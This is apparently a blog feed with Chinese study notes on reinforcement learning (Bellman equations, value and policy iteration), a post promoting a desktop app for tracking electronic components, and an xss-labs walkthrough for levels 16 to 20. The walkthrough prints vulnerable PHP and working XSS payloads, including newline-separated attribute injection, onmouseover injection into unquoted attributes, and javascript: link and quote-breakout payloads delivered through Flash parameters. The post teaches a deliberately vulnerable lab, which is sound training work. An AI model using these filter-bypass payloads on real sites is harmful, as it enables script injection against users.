Policy Iteration：$\text{P} \to \text{vvvv...} \to \text{P} \to \text{vvvv...}$ (评估至收敛)
Value Iteration：$\text{P} \to \text{v} \to \text{P} \to \text{v} \to \text{P} \to \text{v}$ (评估仅做一步)

统一视角下的算法对比：

$$ \begin{array}{rll} & v_{\pi_1}^{(0)} = v_0 & \text{初始值} \ \text{Value Iteration} \leftarrow v_1 \longleftarrow & v_{\pi_1}^{(1)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(0)} & \text{(只迭代 1 次)} \ & v_{\pi_1}^{(2)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(1)} & \ & \quad \vdots & \ \text{Truncated Policy Iteration} \leftarrow \bar{v}1 \longleftarrow & v{\pi_1}^{(j)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(j-1)} & \text{(迭代 j 次)} \ & \quad \vdots & \ \text{Policy Iteration} \leftarrow v_{\pi_1} \longleftarrow & v_{\pi_1}^{(\infty)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(\infty)} & \text{(迭代至收敛)} \end{array} $$

注意：标准的 Policy Iteration 要求在每一步都精确求解 $v_{\pi_k}$（即 $j \to \infty$），这在实际计算中往往不可行或效率低下。因此，实际应用中使用的通常是 Truncated Policy Iteration，即限制评估步数 $j$。

RL学习笔记：贝尔曼最优公式

Tue, 17 Feb 2026 17:00:00 GMT

贝尔曼最优公式 (Bellman Optimality Equation)

定义

对于所有状态 $s \in \mathcal{S}$，如果策略 $\pi^$ 的状态价值函数 $v_{\pi^}(s)$ 均不小于任何其他策略 $\pi$ 的状态价值函数 $v_{\pi}(s)$，即：

$$ v_{\pi^*}(s) \geq v_{\pi}(s), \quad \forall s \in \mathcal{S}, \forall \pi $$

则称策略 $\pi^$ 为最优策略。最优策略对应的状态价值称为最优状态价值函数，记为 $v^(s)$。

最优公式推导

最优状态价值函数 $v^*(s)$ 满足贝尔曼最优公式。其核心思想是：最优价值等于在当前状态下执行最优动作所获得的期望回报。

标量形式

$$ \begin{aligned} v^(s) &= \max_{a \in \mathcal{A}} q^(s, a) \ &= \max_{a \in \mathcal{A}} \left( \sum_{r \in \mathcal{R}} p(r|s,a)r + \gamma \sum_{s' \in \mathcal{S}} p(s'|s,a)v^*(s') \right) \end{aligned} $$

若将其写成对策略 $\pi$ 的最大化形式，则有：

$$ v^(s) = \max_{\pi} \sum_{a \in \mathcal{A}} \pi(a|s) q^(s, a) $$

由于加权平均值不可能超过最大值，即：

$$ \sum_{a \in \mathcal{A}} \pi(a|s) q^(s, a) \leq \max_{a \in \mathcal{A}} q^(s, a) $$

等号成立的条件是策略 $\pi$ 将概率完全分配给使 $q^(s,a)$ 最大的动作。这意味着最优策略 $\pi^$ 是确定性的（Deterministic）：

$$ \pi^(a|s) = \begin{cases} 1, & a = \arg\max_{a' \in \mathcal{A}} q^(s, a') \ 0, & \text{其他} \end{cases} $$

向量形式

我们将求解 $v^$ 的过程视为算子操作。定义最优贝尔曼算子 $\mathcal{T}^$，则贝尔曼最优公式是不动点方程：

$$ v^* = \mathcal{T}^(v^) $$

具体展开为：

$$ v^* = \max_{\pi} (r_{\pi} + \gamma P_{\pi} v^*) $$

其中：

$r_{\pi}$ 是策略 $\pi$ 下的平均即时奖励向量，$[r_{\pi}]s = \sum{a} \pi(a|s) \sum_{r} p(r|s,a)r$
$P_{\pi}$ 是策略 $\pi$ 下的状态转移矩阵，$[P_{\pi}]{s,s'} = \sum{a} \pi(a|s) p(s'|s,a)$

压缩映射与不动点 (Contraction Mapping)

贝尔曼最优算子 $\mathcal{T}^*$ 在 $\gamma \in [0, 1)$ 时满足压缩映射定理 (Contraction Mapping Theorem)。这意味着：

存在性：存在唯一的不动点 $v^$ 满足 $v^ = \mathcal{T}^(v^)$。
收敛性：对于任意初始价值 $v_0$，迭代序列 $v_{k+1} = \mathcal{T}^(v_k)$ 必然收敛至 $v^$。
- 即 $\lim_{k \to \infty} v_k = v^*$。
- 收敛速度呈几何级数（指数级收敛），受折扣因子 $\gamma$ 控制。

值迭代 (Value Iteration) 的本质

值迭代算法利用了上述不动点性质，迭代公式为：

$$ v_{k+1} = \max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k) $$

这一步操作实际上包含了两个隐式过程：

策略截断 (Policy Improvement)：基于当前的价值估计 $v_k$，寻找一个贪心策略（Greedy Policy），即选择当前看来 $q$ 值最大的动作。

$$ \pi_{greedy} = \arg\max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k) $$
价值评估 (Policy Evaluation)：假设执行上述贪心动作，计算其一步期望回报作为新的价值估计 $v_{k+1}$。

总结：值迭代就是每一轮都“抢”当前最好的动作，计算其价值，并在下一轮基于新价值继续“抢”最好的动作。

最优策略的决定因素

最优策略 $\pi^*$ 由以下公式决定：

$$ \pi^(s) = \arg\max_{a} \left( \sum_{r} p(r|s,a)r + \gamma \sum_{s'} p(s'|s,a)v^(s') \right) $$

关键影响因子

系统动力学 (System Dynamics)：$p(s'|s, a)$ 和 $p(r|s, a)$。这是环境的物理法则，通常不可变。
折扣因子 (Discount Factor) $\gamma$：
- $\gamma \to 0$：Agent 变得“近视”，只关注即时奖励 (Immediate Reward)。
- $\gamma \to 1$：Agent 变得“远视”，重视长期累积回报。
奖励函数 (Reward Function) $r$：
- 奖励的相对数值比绝对数值更重要。

奖励函数的仿射变换 (Affine Transformation)

如果对奖励函数进行线性变换：

$$ r'(s, a, s') = \alpha \cdot r(s, a, s') + \beta $$

其中 $\alpha > 0$ 且 $\beta$ 为常数。

对价值函数的影响：新的价值函数 $v'$ 与原价值函数 $v$ 呈线性关系。

$$ v'(s) = \alpha v(s) + \frac{\beta}{1-\gamma} $$

对策略的影响：最优策略保持不变。

$$ \arg\max_a q'(s,a) = \arg\max_a \left( \alpha q(s,a) + \frac{\beta}{1-\gamma} \right) = \arg\max_a q(s,a) $$

这表明，只要保持奖励之间的偏序关系和相对比例，具体的数值大小不会改变最优行为模式。

RL学习笔记：贝尔曼公式

Mon, 16 Feb 2026 20:00:00 GMT

贝尔曼公式 (Bellman Equation)

1. 基本定义

强化学习的交互过程可以描述为：

$$ S_{t} \xrightarrow{A_{t}} R_{t+1}, S_{t+1}

核心变量

$t, t+1$: 离散时间点。
$S_{t}$: 时间 $t$ 时的状态 (State)。
$A_{t}$: 在 $S_{t}$ 状态下采取的动作 (Action)。
$R_{t+1}$: 采取 $A_{t}$ 后得到的即时奖励 (Reward)。
$S_{t+1}$: 采取 $A_{t}$ 后转移到的新状态 (Next State)。

注意：$S_{t}, A_{t}, R_{t+1}$ 均为 随机变量 (Random Variables)。这意味着交互的每一步都是由概率分布 (Probability Distribution) 决定的，因此我们可以对它们求期望。

轨迹 (Trajectory)与回报 (Return)

交互过程形成的时间序列轨迹如下：

$$ S_{t} \xrightarrow{A_{t}} R_{t+1}, S_{t+1} \xrightarrow{A_{t+1}} R_{t+2}, S_{t+2} \xrightarrow{A_{t+2}} R_{t+3}, \dots

折扣回报 (Discounted Return) 定义为从时间 $t$ 开始的累积折扣奖励：

$$ G_{t} = R_{t+1} + \gamma R_{t+2} + \gamma^{2}R_{t+3} + \dots = \sum_{k=0}^{\infty} \gamma^k R_{t+k+1} $$

其中$ \gamma \in [0, 1]$ 为折扣因子。

2. 状态价值 (State Value)

定义

$v_{\pi}(s)$ 被称为状态价值函数 (State-Value Function)，简称 State Value。它是回报 $G_t$ 的数学期望：

$$ v_{\pi}(s) = \mathbb{E}[G_{t} \mid S_{t}=s] $$

它是状态 $s$ 的函数。
它的值取决于当前的策略 $\pi$。
它代表了处于该状态的“价值”。价值越高，意味着在该策略下从该状态出发的前景越好。

核心区别

Return ($G_t$) vs State Value ($v_{\pi}(s)$)

Return 是基于单次轨迹的现实累积收益，是一个随机变量。

State Value 是基于所有可能轨迹（在特定策略 $\pi$ 下）对 Return 求得的数学期望（统计均值）。

只有当策略和环境完全确定（只有唯一轨迹）时，二者在数值上才等价。

3. 贝尔曼公式推导

贝尔曼公式描述了当前状态价值与未来状态价值之间的递归关系：

$$ \begin{aligned} v_{\pi}(s) &= \mathbb{E}[R_{t+1} + \gamma G_{t+1} \mid S_{t}=s] \ &= \underbrace{\mathbb{E}[R_{t+1} \mid S_{t}=s]}{\text{即时奖励的期望}} + \gamma \underbrace{\mathbb{E}[G{t+1} \mid S_{t}=s]}_{\text{未来奖励的期望}} \end{aligned} $$

展开后的通用形式：

$$ v_{\pi}(s) = \sum_{a \in \mathcal{A}}\pi(a|s) \left[ \sum_{r \in \mathcal{R}}p(r|s,a)r + \gamma \sum_{s^{\prime} \in \mathcal{S}}p(s^{\prime}|s,a)v_{\pi}(s^{\prime}) \right], \quad \text{for all } s \in \mathcal{S} $$

第一部分：即时奖励的期望 (Mean of Immediate Rewards)

$$ \begin{aligned} \mathbb{E}[R_{t+1}|S_t = s] &= \sum_{a \in \mathcal{A}} \pi(a|s) \mathbb{E}[R_{t+1}|S_t = s, A_t = a] \ &= \sum_{a \in \mathcal{A}} \pi(a|s) \sum_{r \in \mathcal{R}} p(r|s, a)r \end{aligned} $$

此处应用了概率论中的 全期望公式 (Law of Total Expectation)：

$\pi(a|s)$: 权重（采取该动作的概率）。
$\mathbb{E}[R|s, a]$: 条件期望（在该动作下的平均奖励）。
$\sum$: 加权求和。

理解：如果是确定性策略（Deterministic Policy），求和号中仅有一项非零；但在通用的随机策略下，必须遍历所有可能的动作进行加权。

第二部分：未来奖励的期望 (Mean of Future Rewards)

$$ \begin{aligned} \mathbb{E}[G_{t+1}|S_t = s] &= \sum_{s' \in \mathcal{S}} \mathbb{E}[G_{t+1}|S_t = s, S_{t+1} = s'] p(s'|s) \ &= \sum_{s' \in \mathcal{S}} \mathbb{E}[G_{t+1}|S_{t+1} = s'] p(s'|s) \quad \text{(马尔可夫性质)} \ &= \sum_{s' \in \mathcal{S}} v_\pi(s') p(s'|s) \ &= \sum_{s' \in \mathcal{S}} v_\pi(s') \sum_{a \in \mathcal{A}} p(s'|s, a)\pi(a|s) \end{aligned} $$

本质：计算“从当前状态看，未来的平均价值是多少”。该推导将未来回报的期望拆解为三个核心要素的乘积之和：

策略 $\pi(a|s)$：我们怎么做选择。
环境动力学 $p(s'|s,a)$：环境如何转移状态。
下一状态的价值 $v_\pi(s')$：未来有多好。

4. 矩阵与向量形式

为了便于计算，我们可以定义以下两个辅助项：

平均即时奖励向量 $r_{\pi}$：

$$ r_{\pi}(s) \doteq \sum_{a \in \mathcal{A}} \pi(a|s) \sum_{r \in \mathcal{R}} p(r|s, a)r $$

含义：将动作概率与动作产生的奖励融合，计算出当前状态 $s$ 的综合即时奖励期望。

状态转移矩阵 $P_{\pi}$：

$$ p_{\pi}(s'|s) \doteq \sum_{a \in \mathcal{A}} \pi(a|s)p(s'|s, a) $$

含义：忽略具体的动作选择，直接描述在当前策略 $\pi$ 下，从状态 $s$ 流向 $s'$ 的统计规律。

由此得到贝尔曼公式的矩阵形式 (Bellman Expectation Equation)：

$$ v_{\pi} = r_{\pi} + \gamma P_{\pi}v_{\pi} $$

矩阵展开示例

假设有 4 个状态：

$$ \underbrace{ \begin{bmatrix} v_\pi(s_1) \ v_\pi(s_2) \ v_\pi(s_3) \ v_\pi(s_4) \end{bmatrix} }{v\pi}

\underbrace{ \begin{bmatrix} r_\pi(s_1) \ r_\pi(s_2) \ r_\pi(s_3) \ r_\pi(s_4) \end{bmatrix} }{r\pi}

\gamma \underbrace{ \begin{bmatrix} p_\pi(s_1|s_1) & p_\pi(s_2|s_1) & p_\pi(s_3|s_1) & p_\pi(s_4|s_1) \ p_\pi(s_1|s_2) & p_\pi(s_2|s_2) & p_\pi(s_3|s_2) & p_\pi(s_4|s_2) \ p_\pi(s_1|s_3) & p_\pi(s_2|s_3) & p_\pi(s_3|s_3) & p_\pi(s_4|s_3) \ p_\pi(s_1|s_4) & p_\pi(s_2|s_4) & p_\pi(s_3|s_4) & p_\pi(s_4|s_4) \end{bmatrix} }{P\pi} \underbrace{ \begin{bmatrix} v_\pi(s_1) \ v_\pi(s_2) \ v_\pi(s_3) \ v_\pi(s_4) \end{bmatrix} }{v\pi} $$

求解方法

1. 封闭解 (Closed Form Solution) 可以直接通过矩阵求逆求解：

$$ v_\pi = (I - \gamma P_\pi)^{-1} r_\pi $$

缺点：当状态空间巨大时，求逆运算量过大，不可行。

2. 迭代法 (Iterative Solution) 即策略评估 (Policy Evaluation) 的基础：

$$ v_{k+1} = r_\pi + \gamma P_\pi v_k, \quad k = 0, 1, 2, \dots $$

结论：当 $k \to \infty$ 时，序列收敛于真实价值 $v_{\pi}$。

5. 动作价值 (Action Value)

定义与对比

State Value ($v_{\pi}$): Agent 从一个 State 出发得到的平均 Return。
Action Value ($q_{\pi}$): Agent 从一个 State 出发，先采取特定 Action，随后遵循策略 $\pi$ 得到的平均 Return。

定义公式：

$$ q_\pi(s, a) \doteq \mathbb{E}[G_t \mid S_t = s, A_t = a] $$

它依赖于两个要素：当前的状态-动作对 (State-Action Pair) 和后续遵循的策略 $\pi$。

二者关系

1. State Value 是 Action Value 的期望

$$ v_\pi(s) = \sum_{a \in \mathcal{A}} \pi(a|s) q_\pi(s, a) $$

2. Action Value 的展开 将 $q_\pi(s, a)$ 展开为即时奖励与下一状态价值的和：

$$ q_{\pi}(s,a) = \sum_{r \in \mathcal{R}} p(r|s,a)r + \gamma \sum_{s' \in \mathcal{S}} p(s'|s,a)v_{\pi}(s') $$

结合上述两点，再次印证了贝尔曼公式的递归结构：

$$ v_{\pi}(s) = \sum_{a} \pi(a|s) \underbrace{\left[ \sum_{r} p(r|s,a)r + \gamma \sum_{s'} p(s'|s,a)v_{\pi}(s') \right]}{q{\pi}(s,a)} $$

总结：只要知道所有的 State Value，就可以求出所有的 Action Value，反之亦然。

RL学习笔记：基本概念

Sun, 15 Feb 2026 19:45:00 GMT

基本概念

一、核心定义

State (状态) Agent 相对于环境的一个状态（Status）。在网格世界中，通常被视为 Agent 所在的坐标位置。例如 $S_1$ 可表示为向量坐标： $$S_1 = \begin{pmatrix} x \ y \end{pmatrix}$$
State space (状态空间) 所有可能状态的集合，记为 $\mathcal{S}$。例如：$S=\left{s_{i}\right}_{i=1}^{9}$。本质上就是一个集合（Set）。
Action (动作) 对于每一个状态 (State)，Agent 可以采取的行动。例如在网格世界中可能有五个：上、下、左、右、不动。
Action space (动作空间) 针对某个特定状态 $s_i$，所有可能采取的动作集合，记为 $\mathcal{A}(s_{i}) = \left{a_{i}\right}_{i=1}^{5}$。 注意：Action 往往依赖于 State，即 $\mathcal{A}$ 是 $s$ 的函数。
State transition (状态转移) 采取某个行动后，Agent 从当前状态转移到另一个状态的过程，记为 $S_{1}\stackrel{a_2}{\longrightarrow}S_{2}$。这定义了 Agent 与环境交互的机制。在虚拟环境中可任意定义，但在现实世界中必须遵循客观物理规律。
State transition probability (状态转移概率) 用概率描述状态转移的不确定性。例如在 $S_1$ 选择 $a_2$，转移到 $S_2$ 的概率：

$$ p(s'|s, a) \Rightarrow \begin{cases} p(s_{2}|s_{1},a_{2})=1 \ p(s_{i}|s_{1},a_{2})=0, & \forall i\neq2 \end{cases} $$

上例为确定性环境，当然也可能是随机环境。
Policy (策略) 指导 Agent 在特定 State 下应该采取什么 Action 的规则。可以视为一个函数或映射 $\pi$。例如一个确定性策略（Deterministic Policy）：

$$ \pi(a|s) \Rightarrow \begin{cases} \pi(a_{2}|s_{1})=1 \ \pi(a_{i}|s_{1})=0, & \forall i\neq2 \end{cases} $$

随机策略（Stochastic Policy）同理，$\pi$ 即为选择该动作的概率。
Reward (奖励) Agent 采取动作后，环境反馈的一个标量实数。
- 正数通常代表奖励（鼓励行为）；
- 负数通常代表惩罚（抑制行为）。
Reward 是人机交互（Human-Machine Interface）的关键手段，用于引导 Agent 表现出我们预期的行为。数学表达：

$$ p(r=-1|s_{1},a_{1})=1 \quad \text{and} \quad p(r\neq-1|s_{1},a_{1})=0 $$
Trajectory (轨迹) 一条完整的 State-Action-Reward 链。即：在某 State 采取某 Action，得到 Reward 并转移到下一 State，如此循环。

$$ S_{1} \xrightarrow[r=0]{a_3} S_{4} \xrightarrow[r=-1]{a_3} S_{7} \xrightarrow[r=0]{a_2} S_{8} \xrightarrow[r=+1]{a_2} S_{9} $$
Return (回报) 一个 Trajectory 中所有 Reward 的总和。不同的 Policy 会导致不同的 Return。
Discounted Return (折扣回报) 对于无限运行的 Trajectory，直接求和会导致 Return 无穷大（发散）。引入折扣因子 $\gamma \in [0,1)$：

$$ \text{Return} = 0+0+1+1+\dots = \infty \quad (\text{发散}) $$

引入 $\gamma$ 后：

$$ G_t = R_{t+1} + \gamma R_{t+2} + \gamma^2 R_{t+3} + \dots = \sum_{k=0}^{\infty} \gamma^k R_{t+k+1} $$

举例：

$$ \text{Discounted Return} = \gamma^{3}(1+\gamma+\gamma^{2}+\ldots) = \frac{\gamma^{3}}{1-\gamma} \quad (\text{收敛}) $$
- $\gamma$ 的作用：决定 Agent 的“视野”。$\gamma$ 越小越短视（注重眼前利益），$\gamma$ 越大越远视（注重长期利益）。
Episode (回合) Agent 根据 Policy 与环境交互，直到达到终止状态 (Terminal State) 停止，这段完整的轨迹称为一个 Episode (或 Trial)。
- Episodic Tasks: 有终止状态，任务会结束。
- Continuing Tasks: 没有终止状态，任务无限进行。

二、MDP (马尔可夫决策过程) 要素

1. Sets (集合)

State: 状态集合 $\mathcal{S}$
Action: 动作集合 $\mathcal{A}(s)$，其中 $s \in \mathcal{S}$
Reward: 奖励集合 $\mathcal{R}(s,a)$

2. Probability Distribution (概率分布/动力学)

State transition probability: $p(s'|s,a)$
Reward probability: $p(r|s,a)$

3. Policy (策略)

Agent 的决策机制：$\pi(a|s)$

4. MDP Property (性质)

Memoryless (无记忆性 / 马尔可夫性): 下一时刻的状态和奖励，仅取决于当前时刻的状态和动作，与之前的历史无关。

$$ p(s_{t+1}, r_{t+1} | s_t, a_t, s_{t-1}, \dots) = p(s_{t+1}, r_{t+1} | s_t, a_t) $$

5. MDP vs Markov Process

Markov Process (马尔可夫过程): 只有 State 和 Transition Probability。观察者只能被动接受环境按概率发生的演变，无法干预。
MDP (马尔可夫决策过程): 增加了 Decision (决策/动作)。状态的转移不仅取决于当前状态，还取决于 Agent 采取的 Action。Agent 可以通过选择不同的 Action 来改变未来状态分布的概率，从而主动影响结果。

告别混乱：我如何用 SiliconVault 优雅地管理电子元器件库存

Fri, 06 Feb 2026 18:37:00 GMT

写在前面：作为一个电子爱好者，最头疼的往往不是电路设计，而是满桌子散落的电阻电容，和永远对不上的库存表格。SiliconVault 是我为了解决这个问题而开发的桌面应用。

为什么开发 SiliconVault？

相信很多做硬件开发的朋友都有过这样的经历：Excel 表格越记越乱，买重了元器件是常事，做项目时才发现关键芯片缺货，甚至为了找一盘 0603 的电阻翻遍了所有收纳盒。

市面上的 ERP 系统太过庞大臃肿，而简单的表格又无法满足 BOM 级联和图片管理的需求。我想要一个轻量、本地化、高颜值且操作丝滑的工具。

于是，SiliconVault 诞生了。它基于 Electron + Vue 3 + TypeScript 构建，底层使用 SQLite 保证高性能，旨在为个人开发者提供丝滑的库存管理体验。

不仅是管理，更是享受

我重点重构了交互逻辑，引入了“智能布局”和“高级资源包”，让软件不仅仅是一个数据库，更是一个顺手的效率工具。

1. 只有你能定义的“智能布局系统” (Smart Layout)

不同类型的元器件，我们需要关注的信息截然不同。对于电阻，我们看重阻值和精度；对于芯片，我们更关心具体型号和功能描述。

我引入了 2x2 插槽布局配置。

左上 (核心大字)：一目了然的关键信息（如 10kΩ 或 STM32F103）。
右上 (胶囊标签)：辅助分类（如 0603 封装）。
左下 & 右下：次要参数和位置信息。

这意味着，你现在的电阻列表和芯片列表，可以拥有完全不同的视觉呈现，信息密度由你掌控。

2. 面向“生产”的 BOM 管理与一键扣减

做项目时，我们通常是按 BOM（物料清单）来领料的。SiliconVault 内置了完整的 BOM 项目管理功能。

你可以创建一个项目，导入所需的元器件清单。软件会自动计算库存缺口。当你完成焊接制作后，只需点击 “执行生产扣减”，系统就会根据你制作的板子数量，自动扣除所有关联元器件的库存。

文件关联功能，你可以把 PCB 投板文件、原理图 PDF 直接挂载在项目下，再也不用去文件夹里到处找资料了。

3. 数据可视化：看见你的“消耗习惯”

元器件买了一堆，到底用了多少？钱都花哪去了？

新的消耗看板 (Analytics Dashboard) 彻底重写了底层算法。现在，它不仅能区分你是“手动出库”还是“BOM 生产消耗”，还能通过热力图展示你的活跃时段。

玫瑰图：直观展示各类元件的消耗占比。
趋势图：支持日/周/月维度的消耗追踪。
消耗强度：系统会自动评估你的近期活跃度（Low/Medium/High）。

4. 真正好用的导入导出与“资源包”

数据迁移一直是痛点。本软件引入了 .svdata 资源包 概念。

这不仅仅是导出 CSV 表格，它能将你的数据库记录、元器件图片、Datasheet 文档全部打包成一个文件。

当你需要从家里电脑同步到实验室电脑时，导入向导会自动进行冲突检测：

这个电阻已经存在了，是覆盖还是跳过？
图片是否有变化？

系统会列出详细的对比清单，把选择权交给你，确保数据绝对安全。

细节之美：向 iOS 看齐的体验

作为一个“颜控”开发者，我对 SiliconVault 的审美要求是向 iOS/macOS 的原生应用看齐。

丝滑动画：所有的列表加载、弹窗过渡，都经过了精心调优。
暗色模式：默认采用了深邃的暗色主题，长时间使用不刺眼。
容错设计：批量编辑时支持“负库存预警”，防止误操作导致数据异常。

结语与下载

SiliconVault 是我目前最满意的版本，它解决了我自己管理上千种元器件的真实痛点。如果你也受够了凌乱的电子实验室，不妨试试这个工具。

它完全本地运行，数据掌握在你自己手中，且完全免费。

Maxthten/SiliconVault: SiliconVault | 基于 Vue3 + Electron 的简约高级感电子元件管理助手。iOS 审美风格，丝滑交互体验。非常适合新手，电子爱好者使用。

本文使用 SiliconVault v1.1.3 撰写，基于 Electron, Vue 3, TypeScript 构建。

Xss-labs通关全解&&XSS笔记04

Fri, 26 Dec 2025 18:37:00 GMT

第十六关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("    "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

1.从源码分析可以得到这一关无法使用大小写绕过，无法使用script 甚至于（空格）都被转译成了 &nbsp

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("    "," ",$str4);

既然不让使用<script> 那么不妨使用 <img>、<svg>、<body> 等等，但是这中间的空格怎么办呢。

2.解析 HTML 的时候特别宽容。除了空格（Space, %20），它还认其他的“空白字符”作为分隔符。被封了空格，被封了 Tab还有

回车符（CR, Carriage Return） -> URL 编码是 %0d
换行符（LF, Line Feed） -> URL 编码是 %0a

所以，我们的思路就是：用 %0a 或者 %0d 代替空格，把标签属性隔开。

3.那么我们就可以构造最经典的<img>

keyword=<img%0asrc=x%0aonerror=alert(1)>

或者还可以使用标签逃逸中的其他办法

空格绕过全家桶

| 字符大名 | URL编码 | 在 Level 16 的下场 | 实战地位 | 原理解析 | | -------------- | --------- | ------------------ | ------------ | ---------------------------------------------------------- | | 空格 (Space) | %20 | 被干死了 | 炮灰 | 最标准的空格。正因为太标准，所有 WAF 第一刀砍的绝对是它。这题直接 str_replace 换成空，没法用。 | | 制表符 (Tab) | %09 | 被干死了 | 替补 | 也就是键盘上的 Tab 键。很多懒狗开发只过滤 %20 忘了 %09，但这题作者把这也堵上了。 | | 换行符 (LF) | %0a | ✅ 存活 (MVP) | 隐形刺客 | Linux 系统的换行。浏览器把它当空格认，但 PHP 代码里没过滤它。这就是本题解法。 | | 回车符 (CR) | %0d | ✅ 存活 (MVP) | 备胎 | Windows 系统的回车前一半。跟 %0a 是一路货色，这题也能用它过。 | | 斜杠 (Slash) | / | 被干死了 | God Like | 神技。<img/src=x> 这种写法完全不需要任何空白符。可惜这题防住了，不然这才是最骚的。 | | 换页符 (FF) | %0c | 看运气 | 神经病 | 极冷门字符。有的老旧浏览器或者特定环境才认。实在没办法了可以拿出来碰碰运气。 | | 垂直制表符 | %0b | 看运气 | 神经病二号 | 同上，属于死马当活马医的选项。 |

第十七关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后，<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

1.它考的不是 Flash 漏洞，而是HTML 解析的一个经典逻辑，所以flash坏了也没事

2.核心代码

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

坏消息，经过过滤了，好多都不能使用了，好消息，src=xsf01.swf?...。 没有引号！没有引号！没有引号！

在 HTML 语法里，如果一个属性的值没有用引号包裹，浏览器怎么知道这个属性值在哪里结束？ 答案是：遇到空格就结束。

3.那么我们就可以利用arg02 来构造

level17.php?arg01=a&arg02=b%20onmouseover=alert(1)

我们让 arg01 随便填个 a。我们在 arg02 里填：b onmouseover=alert(1)

第十八关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

1.和十七没有任何区别，payload同第十七

level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

第十九关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

1.这一关把上面最大的问题给修复了 "

这一关的注入就需要使用flash了但是现代浏览器无法使用flash怎么办

这里可以用 Ruffle 这个浏览器插件，非常简单（但是有时候可能bug修的太好了导致flash的漏洞它用不了）

或者去找一个专门的尸体浏览器

2.想要解析xsf03.swf 我们就必须用到另一个工具 JPEXS sIFR文件太长了就不展示了(这里就意思意思了，flash逆向没学明白)

这个 xsf03.swf 是个老演员了。它的 ActionScript 逻辑大概是这样的：

它接收一个名为 version 的参数。
它把这个参数直接赋值给了一个文本框的 htmlText 属性。
Flash 的 htmlText 支持有限的 HTML 标签，其中就包括 <a> 标签（超链接）。

这就好办了，我们只要构造一个带 javascript: 伪协议的 <a> 标签，传给 version 参数，然后在 Flash 里点一下生成的链接，就能触发 JS。

3.我们就可以如下构造出

level19.php?arg01=version&arg02=<a href="javascript:alert(1)">快点我拿flag</a>

这里利用了浏览器在渲染 HTML 标签时，有一个规则：在解析 HTML 属性值（比如 src、href、value）时，会自动进行“HTML 实体解码”。 使用就算转义了也没事。

第二十关

源码呈现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

1.这个 xsf04.swf 是一个名为 ZeroClipboard 的组件（早期版本）。它的功能是帮助网页实现“复制到剪贴板”的功能。它内部使用 ExternalInterface.call 来调用浏览器的 JavaScript 函数。其 ActionScript 逻辑大致如下（简化版）：

// 获取传入的 id 参数
var id = loaderInfo.parameters.id;
// 调用 JS，构造类似于这样的代码：
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOut", null);

或者在生成的 JS 中，它会被拼接到一个字符串里： try { __flash__toXML(ZeroClipboard.dispatch("你的ID")); } catch (e) { ... }

漏洞点： Flash 在拼接这段 JS 代码时，没有正确处理我们传入的 id 参数。如果我们传入特定的字符，就能闭合掉原本的引号和括号，插入我们自己的 JS 代码。

3.我们需要做两件事：

参数名 (arg01)：必须是 Flash 预定义的参数名，这里是 id。
参数值 (arg02)：需要闭合 Flash 构造的 JS 语句。

构造 Payload： 通常这关的标准 Payload 是 \"))alert(1)//。

\"：这里的反斜杠通常是为了转义 Flash 内部可能存在的转义，或者配合双引号闭合字符串。
))：闭合前面的函数调用括号。
alert(1)：执行我们的代码。
